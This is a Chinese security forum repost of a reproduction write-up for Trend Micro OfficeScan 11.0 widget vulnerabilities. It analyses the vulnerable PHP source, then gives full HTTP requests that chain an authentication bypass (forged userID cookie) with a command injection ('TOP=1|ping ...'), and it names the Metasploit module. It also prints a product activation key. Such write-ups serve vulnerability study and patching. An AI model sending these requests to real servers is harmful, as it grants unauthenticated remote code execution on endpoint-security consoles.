HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
最新活动
CSA2018
HACK80    技术文档

趋势科技产品Widgets模块多个漏洞复现

  •   EvilGod · 2018-1-10 17:19:49 · 690 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    作者:znn
    原文地址:https://secvul.com/topics/873.html

    0x01 漏洞简介
    多数趋势科技的产品都有管理网页的小部件(widget)。虽然使用 Java/.NET 编写的核心系统,但是这个小部件机制已经用PHP实现了。因此意味着趋势科技的产品中包含有PHP解释器。
    widget框架有一个代理机制,其proxy_controller.php页面根据用户输入调用相关类来实现该功能,通过分析该功能发现存在多个漏洞,包括命令注入、私钥泄漏、Sqlite3未授权访问、SSRF和认证绕过。
    0x02 漏洞分析
    本次复现的是命令注入和认证绕过漏洞,命令注入需要认证的情况下才能实现,因此这两个漏洞结合才能实现远程代码执行。
    2.1 环境搭建
    趋势产品:防毒墙-网络版(OfficeScan) 11.0 Build: 1744.00 (http://downloadcenter.trendmicro ... al=4661&lang_loc=15)
    操作系统:Windows10
    官网下载OfficeScan最新版本(未打补丁),安装前需要开启Windows的IIS服务,不然会一直出错。
    激活码:OS-5LCX-EAZPE-9UZVU-QGZMF-N765A-LRJNF
    激活提示错误不管,可以正常安装使用。安装完成后默认WEB控制台如下:
    http://127.0.0.1:8080/officescan ... cgiChkMasterPwd.exe
    https://127.0.0.1:4343/officesca ... cgiChkMasterPwd.exe
    2.2 命令注入
    首先来看Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\proxy\modTMCSS\Proxy.php文件代码:
    1. public function proxy_exec()
    2. {
    3. // localhost, directly launch report.php
    4. if ($this->cgiArgs['serverid'] == '1')
    5. {
    6. if($this->cgiArgs['type'] == "WR"){
    7. $cmd = "php ../php/lwcs_report.php ";
    8. $this->AddParam($cmd, "t");
    9. $this->AddParam($cmd, "tr");
    10. $this->AddParam($cmd, "ds");
    11. $this->AddParam($cmd, "m");
    12. $this->AddParam($cmd, "C");
    13. exec($cmd, $this->m_output, $error);
    14. if ($error != 0)
    15. {
    16. $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
    17. $this->errMessage = "exec lwcs_report.php failed. err = $error";
    18. }
    19. }
    20. else{
    21. $cmd = "php ../php/report.php ";
    22. $this->AddParam($cmd, "T");
    23. $this->AddParam($cmd, "D");
    24. $this->AddParam($cmd, "IP");
    25. $this->AddParam($cmd, "M");
    26. $this->AddParam($cmd, "TOP");
    27. $this->AddParam($cmd, "C");
    28. $this->AddParam($cmd, "CONSOLE_LANG");
    29. exec($cmd, $this->m_output, $error);
    30. if ($error != 0)
    31. {
    32. $this->errCode = WF_PROXY_ERR_EXEC_OTHERS;
    33. $this->errMessage = "exec report.php failed. err = $error";
    34. }
    35. }
    36. }
    37. private function AddParam(&$cmd, $param)
    38. {
    39. if (isset($this->cgiArgs[$param]))
    40. {
    41. $cmd = $cmd.$param."=".$this->cgiArgs[$param]." ";
    42. }
    43. }
    复制代码
    可以很直观看到cgiArgs[]处内容被带入了exec()函数被执行,执行代码类似exec(“php ../php/lwcs_report.php t=xx tr=xx…”).
    此处需要控制传入的参数即可,再来看\Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\proxy_controller文件:
    1. if(!isset($g_GetPost)){
    2. $g_GetPost = array_merge($_GET,$_POST);
    3. }else{
    4. $g_GetPost = array_merge($g_GetPost,$_GET,$_POST);
    5. }
    6. //...
    7. $myproxy_file = $strProxyDir . "/" . $server_module . "/Proxy.php";
    8. //null byte injection prevents
    9. if( is_string( $myproxy_file ) ) {
    10. $myproxy_file = str_replace( "\0", '', $myproxy_file );
    11. }

    12. // does file exist?
    13. if(file_exists($myproxy_file)){
    14. include ($myproxy_file);
    15. }else{
    16. proxy_error(WF_PROXY_ERR_INIT_INVALID_MODULE, WF_PROXY_ERR_INIT_INVALID_MODULE_MSG);
    17. }
    18. // does class exist?
    19. if(! class_exists("WFProxy")){
    20. proxy_error(WF_PROXY_ERR_INIT_MODULE_ERROR, WF_PROXY_ERR_INIT_MODULE_ERROR_MSG);
    21. }
    22. // ... CODE OMIT ...
    23. $request = new WFProxy($g_GetPost, $wfconf_dbconfig);
    24. $request->proxy_exec();
    25. $request->proxy_output();
    复制代码
    以上代码将$_GET,$_POST合并成$g_GetPost,并将其传入$myproxy_file,即我们所选的Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\proxy\modTMCSS\Proxy.php文件。(其实这里可以选择多个WFProxy类,在Trend Micro\OfficeScan\PCCSRV\Web_OSCE\Web_console\HTML\widget\repository\widgets_new\peoxy下可以看到多个WFProxy类的定义。),到此,我们只需要对proxy_controller.php的$_POST进行操作,即可传入所调用的WFProxy类并执行exec(“php ../php/lwcs_report.php t=$_POST[p1],tr=$_POST[p2]…”),从而实现了命令注入。
    通过代码require_once (dirname(__FILE__) . “/inc/session_auth.php”);可以看到该页面需要认证,未认证情况下无法实现命令注入,因此还需要下面认证绕过的漏洞来实现。
    2.2 认证绕过
    查看认证页面/officescan/console/html/widget/ui/modLogin/talker.php代码发现认证调用standalone_user_init()函数,部分代码如下:
    1. <pre>public function standalone_user_init(){
    2. mydebug_log("[WFUSER] standalone_user_init()");
    3. if(isset($_COOKIE['userID'])){
    4. return $this->recover_session_byuid($_COOKIE['userID']);
    5. }
    6. mydebug_log("[WFUSER] standalone_user_init(): cookie userID isn't set");
    7. return false;
    8. }
    9. public function recover_session_byuid($uid){
    10. mydebug_log("[WFUSER] recover_session_byuid() " . $uid);
    11. if(false == $this->loaduser_byuid($uid)){
    12. mydebug_log("[WFUSER] recover_session_byuid() failed");
    13. return false;
    14. }
    15. return $this->recover_session();
    16. }
    17. public function loaduser_byuid($uid){
    18. mydebug_log("[WFUSER] loaduser_byuid() " . $uid);
    19. // load user
    20. $uinfolist = $this->userdb->get_users($uid);
    21. if($this->userdb->isFailed()){
    22. return false;
    23. }
    24. // no exists
    25. if(! isset($uinfolist[0])){
    26. return false;
    27. }
    28. // get userinfo
    29. $this->userinfo = $uinfolist[0];
    30. return true;
    31. }
    32. public function get_users($uid = null){
    33. // specify uid
    34. $work_uid = $this->valid_uid($uid);
    35. if($work_uid == null){
    36. return;
    37. }
    38. // query string
    39. $sqlstring = 'SELECT * from ' . $this->users_table . ' WHERE id = :uid';
    40. $sqlvalues[':uid'] = $work_uid;
    41. return $this->runSQL($sqlstring, $sqlvalues, "Get " . $this->users_table . " failed", 1);
    42. }</pre>
    复制代码

    可以看到此处认证过程中仅验证用户id或用户名,并未去校验CSRFToken和hash字段。
    0x03 漏洞利用3.1 认证绕过
    首先访问如下请求获取返回头中Set-Cookie值
    1. GET /officescan/console/html/widget/index.php HTTP/1.1
    2. Host: 10.211.55.18:8080
    复制代码
    通过上述分析,构造如下HTTP请求:
    1. POST /officescan/console/html/widget/ui/modLogin/talker.php HTTP/1.1
    2. Host: 10.211.55.18:8080
    3. Cookie: LogonUser=root; userID=1; PHPSESSID=51krh5n4d80npijguclead4fc6;
    4. X-CSRFToken: 51krh5n4d80npijguclead4fc6
    5. Content-Type: application/x-www-form-urlencoded
    6. Content-Length: 28
    7. Connection: close
    8. cid=1&act=check&hash=1&pid=1
    复制代码
    其中X-CSRFToken和PHPSESSID为上步Set-Cookie值,查看响应包可以看到成功认证,包含”message”:”login successfully”内容。
    3.2 命令注入
    将上步通过认证的X-CSRFToken和Cookie带入包含命令注入的HTTP请求中,如下:
    1. POST /officescan/console/html/widget/proxy_controller.php HTTP/1.1
    2. Host: 10.211.55.18:8080
    3. Cookie: LANG=en_US; LogonUser=root; userID=1; PHPSESSID=51krh5n4d80npijguclead4fc6;
    4. X-CSRFToken: 51krh5n4d80npijguclead4fc6
    5. Content-Type: application/x-www-form-urlencoded
    6. Content-Length: 54
    7. module=modTMCSS&serverid=1&TOP=1|ping 10.211.55.2
    复制代码
    在10.211.55.2上执行tcpdump icmp接收icmp包验证执行情况,可以看到
    命令成功执行:
    3.3 Metasploit脚本
    Metasploit 已经集成该漏洞EXP,路径为exploit/windows/http/trendmicro_officescan_widget_exec,直接调用如下:

    690 次点击  
    收藏  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    关闭

    推荐上一条 /1 下一条

    QQ
    小黑屋   ·   手机版   ·   236 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-4-20 05:01, Processed in 0.057433 second(s), 19 queries .
    快速回复 返回顶部 返回列表